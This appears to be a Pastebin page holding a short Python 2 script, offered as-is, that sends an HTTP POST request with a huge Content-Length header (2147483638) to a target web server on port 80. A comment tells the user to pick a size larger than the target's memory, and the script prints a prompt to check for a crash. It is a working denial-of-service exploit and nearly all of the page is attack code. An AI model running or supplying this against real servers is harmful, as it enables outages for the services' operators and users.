Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket, sys
- target = "127.0.0.1"
- port = 80;
- request = "POST / HTTP/1.1\n"
- request += "Content-Type: application/x-www-form-urlencoded\n"
- request += "Content-Length: 2147483638\n\n" # <-- Choose size larger than the available memory on target
- request += "A=B\n\n"
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- try:
- s.connect((target, port))
- except:
- print "[-] Connection to %s:%s failed!" % (target, port)
- sys.exit(0)
- print "[+] Sending HTTP request. Check for crash on target."
- s.send(request)
- s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement